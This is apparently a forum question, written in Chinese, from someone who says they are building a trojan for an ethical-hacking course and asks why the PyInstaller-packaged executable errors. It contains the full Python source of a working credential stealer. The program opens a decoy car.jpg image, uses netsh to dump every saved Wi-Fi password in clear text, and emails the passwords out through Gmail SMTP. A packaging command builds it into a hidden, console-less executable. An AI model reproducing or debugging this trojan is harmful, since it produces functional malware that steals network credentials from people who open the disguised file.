我正在尝试在https://phoenyxacademy.com为我的道德黑客课程创建一个基于 Python 3 的木马。所以它是一个基本的木马,会在表面上打开一张图片,但会提取wifi密码并将其发送到电子邮件。但是用pyinstaller打包python脚本并运行生成的exe后,出现错误。
Python源代码:
#!/usr/bin/env python3
# A program to steal wifi passwords and send to our e-mail
# import modules
import subprocess
import re
import smtplib
import sys
import tempfile
def retrieve_wifi_passwords():
system_command = 'netsh wlan show profile'
access_points = subprocess.check_output(system_command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
access_point_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode())
profile_result = ""
for access_point in access_point_list:
system_command = 'netsh wlan show profile "' + access_point + '" key=clear'
result = subprocess.check_output(system_command, shell=True)
result = result.decode()
profile_result += result
return profile_result
def send_mail(email, password, message):
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
# to run after embedding it with a file
temp_directory = tempfile.gettempdir()
file_name = "C:\\Users\\Faisal Gama\\AppData\\Local\\Temp\\car.jpg"
subprocess.Popen(file_name, shell=True)
email = 'my_email'
password = 'my_password'
profile_result = retrieve_wifi_passwords()
send_mail(email, password, profile_result)
我使用 pyinstaller 命令:
pyinstaller wifi_malware.py --onefile --noconsole --add-data "C:\Users\Faisal Gama\Downloads\car.jpg;C:\Users\Faisal Gama\AppData\Local\Temp"